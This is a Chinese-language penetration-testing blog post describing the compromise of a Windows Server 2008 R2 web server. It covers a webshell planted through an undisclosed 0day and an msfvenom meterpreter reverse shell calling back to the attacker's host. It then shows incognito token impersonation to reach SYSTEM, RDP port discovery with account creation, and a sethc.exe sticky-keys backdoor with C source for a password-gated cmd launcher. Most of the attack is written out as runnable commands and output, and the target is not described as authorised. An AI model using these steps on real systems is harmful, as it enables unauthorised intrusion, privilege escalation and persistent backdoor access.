渗透测试之MSF窃取Windows用户令牌

渗透过程

首先利用自己审计的0day将一句话木马写入目标网站,使用菜刀连接上目标,打开虚拟终端查看当前拥有的用户及系统信息。可以发现,网站系统为2008 R2版本的,且打了比较多的补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
D:\www\> net users

\\WIN-********* 的用户帐户

-------------------------------------------------------------------------------
Administrator Guest mysql
MySQL www
D:\www\> systeminfo

主机名: WIN-*********
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00486-OEM-8400691-20006
初始安装日期: 2018/8/29, 14:37:18
系统启动时间: 2018/9/13, 3:20:51
系统制造商: Gooxi
系统型号: SY312-S24R/SY206-S12R/SY103-S06R
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 60 Stepping 3 GenuineIntel ~3100 Mhz
BIOS 版本: Gooxi G1SCN-B.2.31, 2016/6/15
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 8,155 MB
可用的物理内存: 3,851 MB
虚拟内存: 最大值: 16,308 MB
虚拟内存: 可用: 11,083 MB
虚拟内存: 使用中: 5,225 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 安装了 173 个修补程序。
[01]: KB981391
[02]: KB981392
[03]: KB977236
[04]: KB981111
[05]: KB977238
[06]: KB2849697
[07]: KB2849696
................
[170]: KB4457044
[171]: KB976902
[172]: KB982018
[173]: KB4457144
网卡: 安装了 2 个 NIC。

一开始我使用 CVE-2018-8120 尝试提权,这个提权之前刚爆出来的时候还是挺好用的,然而这里提权失败。于是我打算直接使用MSF中的令牌环窃取来伪造身份进行登录。

首先在有公网IP地址的机器上用MSF生成反弹shell的木马,命令如下:

1
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=本机IP LPORT=本机端口 -f exe > shell.exe

将生成的木马上传并执行,在肉鸡上开启MSF监听,接收反弹shell:

1
2
3
4
5
6
7
8
9
10
11
➜  Desktop msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 本机端口
LPORT => 本机端口
msf exploit(multi/handler) > set LHOST 本机IP
LHOST => 本机IP
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 本机IP:本机要侦听的端口

载入 incognito 插件,然后我们首先需要做的,是查看此系统上有哪些可用的令牌。用户权限不同,所能看到的令牌个数也不同。在命令框中输入: list_tokens -u 来查看可用的令牌:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WIN-66666\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

接下来就是模拟这个 system 用户的令牌以获得 system 权限,在命令框中输入: impersonate_token “NT AUTHORITY\\SYSTEM” ,其中第一个反斜杠用来转义第二个反斜杠。最后用 getuid 命令查看当前用户权限。

1
2
3
4
5
6
7
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

成功提权,关于窃取令牌的原理,大家可以阅读文章结尾处的相关文章。

由于目标是Windows系统,管理员多数会开远程桌面协议进行管理(RDP协议默认为3389端口),而一般管理员会修改默认端口为其他端口从而避免被攻击,所以这里我们使用以下命令来查看RDP的真实端口。在命令行分别输入如下命令( tasklist /svc | findstr TermService 用来查看RDP服务的PID号,然后用 netstat -nao | findstr PID号 来查看RDP服务运行的端口号):

1

这样,我们就可以使用之前MSF下的system权限创建账户,然后远程登录目标系统。

2

后门

为了使权限不丢失,我们可以在目标系统留一个后门。这里我喜欢将 C:\Windows\System32\sethc.exe 程序替换成cmd程序,这样我们只要打开远程登录的界面,按5下 shift 键就会以system权限调用cmd程序。然而这样留的后门很容易被人利用,所以我们可以自己用C语言写一个小程序,加入密码验证功能,让这个小程序来调用cmd程序。这里我直接贴出我的C语言代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# include<cstdio>
# include<cstring>
# include<cstdlib>
# include<conio.h>
int main(void)
{
char welcome[1700] = " \n\
_____ ___ ___ _ \n\
|_ _| / _ \\ / _ \\ | | ___ \n\
| | | | | | | | | | | | / __| \n\
| | | |_| | | |_| | | | \\__ \\ \n\
|_| \\___/ \\___/ |_| |___/ \n\
\n\
\n\
\n\
Please input your password! \n\
password : ";
while(1){
printf("%s",welcome);
char password[30] = "0";
char pwd[30] = "t00ls66666";
int ch,i=0;
while((ch = getch())!='\r'){
password[i++] = ch;
printf("%c",'*');
}
puts("");
if(strncmp(password,pwd,10) == 0){
system("cmd.exe");
}
else{
printf("%s","Error\n");
fflush(stdin);
}
}

return 0;
}

最后贴一张效果图片(这里我使用本地虚拟机来演示):

3

本文没啥技术亮点,不喜勿喷哈:)

相关文章

Token Manipulation

Fun with Incognito

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/09/26/渗透测试之MSF窃取Windows用户令牌/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog